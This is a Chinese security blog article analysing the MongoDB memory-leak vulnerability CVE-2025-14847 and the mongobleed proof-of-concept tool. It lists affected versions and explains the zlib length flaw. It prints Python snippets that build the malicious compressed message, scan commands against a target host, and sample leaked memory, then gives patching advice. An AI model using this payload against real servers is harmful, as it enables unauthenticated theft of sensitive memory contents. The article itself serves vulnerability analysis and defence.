文章总结： MongoDBCVE-2025-14847内存泄露漏洞源于zlib解压缩时返回缓冲区大小而非实际数据长度，无需认证即可读取未初始化内存。研究员发布PoC工具mongobleed，通过构造虚假BSON长度触发分配并泄露系统日志、配置、IP等敏感信息，影响3.6以来众多版本，官方已推修复版。工具支持灵活扫描并给出升级、网络隔离、定期自检等防护建议。 综合评分： 92 文章分类： 漏洞分析,漏洞POC,数据安全,数据库安全,安全工具
MongoDB内存泄露漏洞（CVE-2025-14847）概念验证工具：mongobleed
原创
赛博
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2025年12月29日 13:00 中国香港
近期，MongoDB数据库被曝出一个严重的内存泄露漏洞（CVE-2025-14847），影响范围广泛，几乎涵盖了MongoDB 3.6以来的所有主要版本。安全研究员Joe Desimone开发了一款名为mongobleed的概念验证工具，帮助安全专业人士检测和验证这一漏洞。
漏洞概览与影响范围
这个漏洞源于MongoDB在处理zlib压缩协议时的一个关键缺陷。当服务器解压缩消息时，会错误地返回分配的缓冲区大小而非实际解压缩数据长度，导致未经身份验证的攻击者能够读取服务器的未初始化内存。
受影响版本范围极广：
- • MongoDB 8.2.x：8.2.0-8.2.2（已修复：8.2.3）
- • MongoDB 8.0.x：8.0.0-8.0.16（已修复：8.0.17）
- • MongoDB 7.0.x：7.0.0-7.0.27（已修复：7.0.28）
- • MongoDB 6.0.x：6.0.0-6.0.26（已修复：6.0.27）
- • MongoDB 5.0.x：5.0.0-5.0.31（已修复：5.0.32）
值得注意的是，这个漏洞的危险性在于无需身份验证即可触发，大大降低了攻击门槛。
攻击原理深度剖析
mongobleed工具巧妙地利用了MongoDB的BSON文档解析机制：
- 1. 构造恶意压缩消息：攻击者发送带有夸大
uncompressedSize声明的压缩消息 - 2. 内存分配陷阱：MongoDB基于攻击者的声明分配大型缓冲区
- 3. 部分数据填充：zlib仅将实际数据解压缩到缓冲区开头
- 4. 错误长度返回：漏洞导致MongoDB将整个缓冲区视为有效数据
- 5. 内存泄露触发：BSON解析器从未初始化内存中读取”字段名”直到遇到空字节
核心攻击思路
这个漏洞的利用基于一个精妙的长度欺骗技术：通过构造带有虚假长度声明的BSON文档，诱使MongoDB分配大量内存，然后利用BSON解析错误来读取未初始化的内存内容。
攻击流程详细分解
1. 构造恶意BSON文档
def send_probe(host, port, doc_len, buffer_size):
# 构造最小BSON内容 - 关键在于虚假的总长度
content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
bson = struct.pack('<i', doc_len) + content
这里的关键是doc_len参数。正常情况下，BSON文档的长度字段应该准确反映实际内容大小，但攻击者故意设置了一个远大于实际内容的长度值。
BSON结构解析：
- •
struct.pack('<i', doc_len)：4字节的文档长度（虚假值） - •
\x10a\x00：字段类型（int32）+ 字段名”a” + 空终止符 - •
\x01\x00\x00\x00：int32值1 - • 实际内容只有11字节，但
doc_len可能声明为数千字节
2. 包装为OP_MSG并压缩
# 包装成MongoDB操作消息
op_msg = struct.pack('<I', 0) + b'\x00' + bson
compressed = zlib.compress(op_msg)
将恶意BSON包装成标准的MongoDB OP_MSG格式，然后使用zlib压缩。压缩后的数据很小，但声明的原始大小很大。
3. 构造OP_COMPRESSED消息（触发漏洞的关键）
# OP_COMPRESSED消息，包含夸大的缓冲区大小
payload = struct.pack('<I', 2013) # 原始操作码
payload += struct.pack('<i', buffer_size) # 声明的未压缩大小（关键！）
payload += struct.pack('B', 2) # 压缩算法：zlib
payload += compressed
这是触发漏洞的核心部分：
- •
buffer_size参数被设置为doc_len + 500 - • MongoDB会基于这个虚假的大小分配内存缓冲区
- • 但实际的zlib解压缩数据只占用缓冲区的很小一部分
工具特性与使用方法
mongobleed提供了灵活的扫描选项，适应不同的测试需求：
基础扫描
# 标准扫描（偏移量20-8192）
python3 mongobleed.py --host <target>
# 深度扫描获取更多数据
python3 mongobleed.py --host <target> --max-offset 50000
# 自定义范围扫描
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
关键参数说明
- •
--host：目标MongoDB主机（默认：localhost） - •
--port：目标端口（默认：27017） - •
--min-offset：最小文档长度探测值（默认：20） - •
--max-offset：最大文档长度探测值（默认：8192） - •
--output：泄露数据输出文件（默认：leaked.bin）
实际测试效果
工具运行时会显示详细的泄露信息：
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
可能泄露的敏感信息包括：
- • MongoDB内部日志和状态信息
- • WiredTiger存储引擎配置
- • 系统
/proc数据（内存信息、网络统计） - • Docker容器路径
- • 连接UUID和客户端IP地址
快速部署测试环境
为便于安全测试，项目提供了Docker Compose配置：
docker-compose up -d
python3 mongobleed.py
这样可以快速搭建一个受漏洞影响的MongoDB实例进行验证测试。
防护建议与修复措施
-
1. 立即升级：将MongoDB升级到对应的修复版本
-
2. 网络隔离：限制MongoDB服务的网络访问，仅允许必要的内部连接
-
3. 定期扫描：使用mongobleed等工具定期检测环境中的漏洞实例
总结
mongobleed作为CVE-2025-14847的概念验证工具，为安全专业人士提供了一个有效的漏洞检测手段。考虑到该漏洞影响范围广泛且无需身份验证即可利用，建议企业安全团队立即使用此工具检测内部MongoDB实例，并尽快完成版本升级。
项目地址：
https://github.com/joe-desimone/mongobleed
相关资源：
- • OX Security漏洞分析[1]
- • MongoDB官方修复提交[2]
⚠️ 免责声明： 此工具仅用于授权的安全测试，未经授权访问计算机系统属于违法行为。
引用链接
[1] OX Security漏洞分析: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/
[2] MongoDB官方修复提交: https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728
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